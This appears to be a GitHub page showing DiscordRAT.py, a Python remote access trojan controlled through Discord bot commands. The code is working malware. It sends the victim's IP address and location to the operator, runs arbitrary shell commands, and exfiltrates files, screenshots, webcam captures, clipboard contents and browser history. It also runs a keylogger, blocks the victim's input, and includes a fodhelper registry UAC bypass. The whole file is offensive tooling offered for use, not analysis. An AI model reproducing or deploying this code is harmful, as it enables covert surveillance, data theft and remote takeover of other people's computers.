This repository has been archived by the owner on Apr 4, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 105
/
DiscordRAT.py
562 lines (519 loc) · 24.7 KB
/
DiscordRAT.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
# -*- coding: utf-8 -*-
import winreg
import ctypes
import sys
import os
import random
import time
import subprocess
import discord
from comtypes import CLSCTX_ALL
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
from discord.ext import commands
from ctypes import *
import asyncio
from discord import utils
token = '' #Enter your token here
global appdata
appdata = os.getenv('APPDATA')
client = discord.Client()
bot = commands.Bot(command_prefix='!')
helpmenu = """
Availaible commands are :
--> !message = Show a message box displaying your text / Syntax = "!message example"
--> !shell = Execute a shell command /Syntax = "!shell whoami"
--> !webcampic = Take a picture from the webcam
--> !windowstart = Start logging current user window (logging is shown in the bot activity)
--> !windowstop = Stop logging current user window
--> !voice = Make a voice say outloud a custom sentence / Syntax = "!voice test"
--> !admincheck = Check if program has admin privileges
--> !sysinfo = Gives info about infected computer
--> !history = Get computer navigation history
--> !download = Download a file from infected computer
--> !upload = Upload file from website to computer / Syntax = "!upload file.png" (with attachment)
--> !cd = Changes directory
--> !write = Type your desired sentence on infected computer
--> !wallpaper = Change infected computer wallpaper / Syntax = "!wallpaper" (with attachment)
--> !clipboard = Retrieve infected computer clipboard content
--> !geolocate = Geolocate computer using latitude and longitude of the ip address with google map / Warning : Geolocating IP addresses is not very precise
--> !startkeylogger = Starts a keylogger / Warning : Likely to trigger AV
--> !stopkeylogger = Stops keylogger
--> !dumpkeylogger = Dumps the keylog
--> !volumemax = Put volume at 100%
--> !volumezero = Put volume at 0%
--> !idletime = Get the idle time of user
--> !sing = Play chosen video in background (Only works with youtube links)
--> !stopsing = Stop video playing in background
--> !blockinput = Blocks user's keyboard and mouse / Warning : Admin rights are required
--> !unblockinput = Unblocks user's keyboard and mouse / Warning : Admin rights are required
--> !screenshot = Get the screenshot of the user's current screen
--> !exit = Exit program
--> !kill = Kill a session or all sessions except current one / Syntax = "!kill session-3" or "!kill all"
"""
async def activity(client):
import time
import win32gui
while True:
global stop_threads
if stop_threads:
break
window = win32gui.GetWindowText(win32gui.GetForegroundWindow())
game = discord.Game(f"Visiting: {window}")
await client.change_presence(status=discord.Status.online, activity=game)
time.sleep(1)
def between_callback(client):
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(activity(client))
loop.close()
@client.event
async def on_ready():
import platform
import re
import urllib.request
import json
with urllib.request.urlopen("https://geolocation-db.com/json") as url:
data = json.loads(url.read().decode())
flag = data['country_code']
ip = data['IPv4']
import os
on_ready.total = []
global number
number = 0
global channel_name
channel_name = None
for x in client.get_all_channels(): # From here we look through all the channels,check for the biggest number and then add one to it
(on_ready.total).append(x.name)
for y in range(len(on_ready.total)): #Probably a better way to do this
if "session" in on_ready.total[y]:
import re
result = [e for e in re.split("[^0-9]", on_ready.total[y]) if e != '']
biggest = max(map(int, result))
number = biggest + 1
else:
pass
if number == 0:
channel_name = "session-1"
newchannel = await client.guilds[0].create_text_channel(channel_name)
else:
channel_name = f"session-{number}"
newchannel = await client.guilds[0].create_text_channel(channel_name)
channel_ = discord.utils.get(client.get_all_channels(), name=channel_name)
channel = client.get_channel(channel_.id)
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
value1 = f"@here :white_check_mark: New session opened {channel_name} | {platform.system()} {platform.release()} | {ip} :flag_{flag.lower()}: | User : {os.getlogin()}"
if is_admin == True:
await channel.send(f'{value1} | :gem:')
elif is_admin == False:
await channel.send(value1)
game = discord.Game(f"Window logging stopped")
await client.change_presence(status=discord.Status.online, activity=game)
def volumeup():
devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
if volume.GetMute() == 1:
volume.SetMute(0, None)
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[1], None)
def volumedown():
devices = AudioUtilities.GetSpeakers()
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
volume = cast(interface, POINTER(IAudioEndpointVolume))
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[0], None)
@client.event
async def on_message(message):
if message.channel.name != channel_name:
pass
else:
if message.content.startswith("!kill"):
if message.content[6:] == "all":
for y in range(len(on_ready.total)):
if "session" in on_ready.total[y]:
channel_to_delete = discord.utils.get(client.get_all_channels(), name=on_ready.total[y])
await channel_to_delete.delete()
else:
pass
else:
try:
channel_to_delete = discord.utils.get(client.get_all_channels(), name=message.content[6:])
await channel_to_delete.delete()
await message.channel.send(f"[*] {message.content[6:]} killed.")
except:
await message.channel.send(f"[!] {message.content[6:]} is invalid,please enter a valid session name")
if message.content == "!dumpkeylogger":
import os
temp = os.getenv("TEMP")
file_keys = os.path.join(os.getenv('TEMP') + "\\key_log.txt")
file = discord.File(file_keys, filename=file_keys)
await message.channel.send("[*] Command successfully executed", file=file)
os.remove(os.path.join(os.getenv('TEMP') + "\\key_log.txt"))
if message.content == "!exit":
exit()
if message.content == "!windowstart":
import threading
global stop_threads
stop_threads = False
global _thread
_thread = threading.Thread(target=between_callback, args=(client,))
_thread.start()
await message.channel.send("[*] Window logging for this session started")
if message.content == "!windowstop":
stop_threads = True
await message.channel.send("[*] Window logging for this session stopped")
game = discord.Game(f"Window logging stopped")
await client.change_presence(status=discord.Status.online, activity=game)
if message.content == "!screenshot":
import os
from mss import mss
with mss() as sct:
sct.shot(output=os.path.join(os.getenv('TEMP') + "\\monitor.png"))
file = discord.File(os.path.join(os.getenv('TEMP') + "\\monitor.png"), filename="monitor.png")
await message.channel.send("[*] Command successfully executed", file=file)
os.remove(os.path.join(os.getenv('TEMP') + "\\monitor.png"))
if message.content == "!volumemax":
volumeup()
await message.channel.send("[*] Volume put to 100%")
if message.content == "!volumezero":
volumedown()
await message.channel.send("[*] Volume put to 0%")
if message.content == "!webcampic": #Downloads a file over internet which is not great but avoids using opencv/numpy which helps reducing final exe file if compiled
import os
import urllib.request
from zipfile import ZipFile
directory = os.getcwd()
try:
os.chdir(os.getenv('TEMP'))
urllib.request.urlretrieve("https://www.nirsoft.net/utils/webcamimagesave.zip", "temp.zip")
with ZipFile("temp.zip") as zipObj:
zipObj.extractall()
os.system("WebCamImageSave.exe /capture /FileName temp.png")
file = discord.File("temp.png", filename="temp.png")
await message.channel.send("[*] Command successfully executed", file=file)
os.remove("temp.zip")
os.remove("temp.png")
os.remove("WebCamImageSave.exe")
os.remove("readme.txt")
os.remove("WebCamImageSave.chm")
os.chdir(directory)
except:
await message.channel.send("[!] Command failed")
if message.content.startswith("!message"):
import ctypes
import time
MB_YESNO = 0x04
MB_HELP = 0x4000
ICON_STOP = 0x10
def mess():
ctypes.windll.user32.MessageBoxW(0, message.content[8:], "Error", MB_HELP | MB_YESNO | ICON_STOP) #Show message box
import threading
messa = threading.Thread(target=mess)
messa._running = True
messa.daemon = True
messa.start()
import win32con
import win32gui
import time
time.sleep(1)
hwnd = win32gui.FindWindow(None, "Error")
win32gui.ShowWindow(hwnd, win32con.SW_RESTORE) #Put message to foreground
win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
win32gui.SetWindowPos(hwnd,win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
win32gui.SetWindowPos(hwnd,win32con.HWND_NOTOPMOST, 0, 0, 0, 0, win32con.SWP_SHOWWINDOW + win32con.SWP_NOMOVE + win32con.SWP_NOSIZE)
if message.content.startswith("!wallpaper"):
import ctypes
import os
path = os.path.join(os.getenv('TEMP') + "\\temp.jpg")
await message.attachments[0].save(path)
ctypes.windll.user32.SystemParametersInfoW(20, 0, path , 0)
await message.channel.send("[*] Command successfully executed")
if message.content.startswith("!upload"):
await message.attachments[0].save(message.content[8:])
await message.channel.send("[*] Command successfully executed")
if message.content.startswith("!shell"):
global status
import time
status = None
import subprocess
import os
instruction = message.content[7:]
def shell():
output = subprocess.run(instruction, stdout=subprocess.PIPE,shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
global status
status = "ok"
return output
import threading
shel = threading.Thread(target=shell) #Use of threading and a global variable to avoid hanging if command is too long to produce an output (probably a better way to do this)
shel._running = True
shel.start()
time.sleep(1)
shel._running = False
if status:
result = str(shell().stdout.decode('CP437')) #CP437 Decoding used for characters like " é " etc..
print(result)
numb = len(result)
print(numb)
if numb < 1:
await message.channel.send("[*] Command not recognized or no output was obtained")
elif numb > 1990:
f1 = open("output.txt", 'a')
f1.write(result)
f1.close()
file = discord.File("output.txt", filename="output.txt")
await message.channel.send("[*] Command successfully executed", file=file)
os.popen("del output.txt")
else:
await message.channel.send("[*] Command successfully executed : " + result)
else:
await message.channel.send("[*] Command not recognized or no output was obtained")
status = None
if message.content.startswith("!download"):
file = discord.File(message.content[10:], filename=message.content[10:])
await message.channel.send("[*] Command successfully executed", file=file)
if message.content.startswith("!cd"):
import os
os.chdir(message.content[4:])
await message.channel.send("[*] Command successfully executed")
if message.content == "!help":
await message.channel.send(helpmenu)
if message.content.startswith("!write"):
import pyautogui
if message.content[7:] == "enter":
pyautogui.press("enter")
else:
pyautogui.typewrite(message.content[7:])
if message.content == "!history":
import os
import browserhistory as bh
dict_obj = bh.get_browserhistory()
strobj = str(dict_obj).encode(errors='ignore')
with open("history.txt","a") as hist:
hist.write(str(strobj))
file = discord.File("history.txt", filename="history.txt")
await message.channel.send("[*] Command successfully executed", file=file)
os.remove("history.txt")
if message.content == "!clipboard":
import ctypes
import os
CF_TEXT = 1
kernel32 = ctypes.windll.kernel32
kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
kernel32.GlobalLock.restype = ctypes.c_void_p
kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]
user32 = ctypes.windll.user32
user32.GetClipboardData.restype = ctypes.c_void_p
user32.OpenClipboard(0)
if user32.IsClipboardFormatAvailable(CF_TEXT):
data = user32.GetClipboardData(CF_TEXT)
data_locked = kernel32.GlobalLock(data)
text = ctypes.c_char_p(data_locked)
value = text.value
kernel32.GlobalUnlock(data_locked)
body = value.decode()
user32.CloseClipboard()
await message.channel.send(f"[*] Clipboard content is : {body}")
if message.content.startswith("!stopsing"):
import os
os.system(f"taskkill /F /IM {pid_process[1]}")
if message.content == "!sysinfo":
import platform
info = platform.uname()
info_total = f'{info.system} {info.release} {info.machine}'
from requests import get
ip = get('https://api.ipify.org').text
await message.channel.send(f"[*] Command successfully executed : {info_total} {ip}")
if message.content == "!geolocate":
import urllib.request
import json
with urllib.request.urlopen("https://geolocation-db.com/json") as url:
data = json.loads(url.read().decode())
link = f"http://www.google.com/maps/place/{data['latitude']},{data['longitude']}"
await message.channel.send("[*] Command successfully executed : " + link)
if message.content == "!admincheck":
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
await message.channel.send("[*] Congrats you're admin")
elif is_admin == False:
await message.channel.send("[!] Sorry, you're not admin")
if message.content == "!uacbypass":
import os
import win32net
if 'logonserver' in os.environ:
server = os.environ['logonserver'][2:]
else:
server = None
def if_user_is_admin(Server):
groups = win32net.NetUserGetLocalGroups(Server, os.getlogin())
isadmin = False
for group in groups:
if group.lower().startswith('admin'):
isadmin = True
return isadmin, groups
is_admin, groups = if_user_is_admin(server)
if is_admin == True:
print('User in admin group trying to bypass uac')
import os
import sys
import ctypes
import winreg
CMD = "C:\\Windows\\System32\\cmd.exe"
FOD_HELPER = 'C:\\Windows\\System32\\fodhelper.exe'
COMM = "start"
REG_PATH = 'Software\\Classes\\ms-settings\\shell\\open\\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
def is_running_as_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key, value):
'''
Creates a reg key
'''
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(
winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0,
winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
'''
Tries to bypass the UAC
'''
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise
def execute():
if not is_running_as_admin():
print(
'[!] The script is NOT running with administrative privileges')
print('[+] Trying to bypass the UAC')
try:
current_dir = os.path.dirname(
os.path.realpath(__file__)) + '\\' + sys.argv[0]
cmd = '{} /k {} {}'.format(CMD, COMM, current_dir)
print(cmd)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
print(
'[+] The script is running with administrative privileges!')
if __name__ == '__main__':
execute()
else:
print("failed")
await message.channel.send("[*] Command failed : User not in administrator group")
if message.content.startswith("!sing"): # This is awfully complicated for such a dumb command I don't know why I wasted time doing this.
volumeup()
from win32 import win32gui
import win32con
import win32gui
from win32con import SW_HIDE
import win32process
import os
link = message.content[6:]
if link.startswith("http"):
link = link[link.find('www'):]
os.system(f'start {link}')
while True:
def get_all_hwnd(hwnd,mouse):
def winEnumHandler(hwnd, ctx):
if win32gui.IsWindowVisible(hwnd):
if "youtube" in (win32gui.GetWindowText(hwnd).lower()):
win32gui.ShowWindow(hwnd, SW_HIDE)
global pid_process
pid_process = win32process.GetWindowThreadProcessId(hwnd)
return "ok"
else:
pass
if win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled(hwnd) and win32gui.IsWindowVisible(hwnd):
win32gui.EnumWindows(winEnumHandler,None)
try:
win32gui.EnumWindows(get_all_hwnd, 0)
except:
break
if message.content == "!startkeylogger":
import base64
import os
from pynput.keyboard import Key, Listener
import logging
temp = os.getenv("TEMP")
logging.basicConfig(filename=os.path.join(os.getenv('TEMP') + "\\key_log.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def keylog():
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
import threading
global test
test = threading.Thread(target=keylog)
test._running = True
test.daemon = True
test.start()
await message.channel.send("[*] Keylogger successfully started")
if message.content == "!stopkeylogger":
import os
test._running = False
await message.channel.send("[*] Keylogger successfully stopped")
if message.content == "!idletime":
class LASTINPUTINFO(Structure):
_fields_ = [
('cbSize', c_uint),
('dwTime', c_int),
]
def get_idle_duration():
lastInputInfo = LASTINPUTINFO()
lastInputInfo.cbSize = sizeof(lastInputInfo)
if windll.user32.GetLastInputInfo(byref(lastInputInfo)):
millis = windll.kernel32.GetTickCount() - lastInputInfo.dwTime
return millis / 1000.0
else:
return 0
import threading
global idle1
idle1 = threading.Thread(target=get_idle_duration)
idle1._running = True
idle1.daemon = True
idle1.start()
duration = get_idle_duration()
await message.channel.send('User idle for %.2f seconds.' % duration)
import time
time.sleep(1)
if message.content.startswith("!voice"):
volumeup()
import comtypes
import win32com.client as wincl
speak = wincl.Dispatch("SAPI.SpVoice")
speak.Speak(message.content[7:])
comtypes.CoUninitialize()
await message.channel.send("[*] Command successfully executed")
if message.content.startswith("!blockinput"):
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
ok = windll.user32.BlockInput(True)
await message.channel.send("[*] Command successfully executed")
else:
await message.channel.send("[!] Admin rights are required for this operation")
if message.content.startswith("!unblockinput"):
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
ok = windll.user32.BlockInput(False)
await message.channel.send("[*] Command successfully executed")
else:
await message.channel.send("[!] Admin rights are required for this operation")
client.run(token)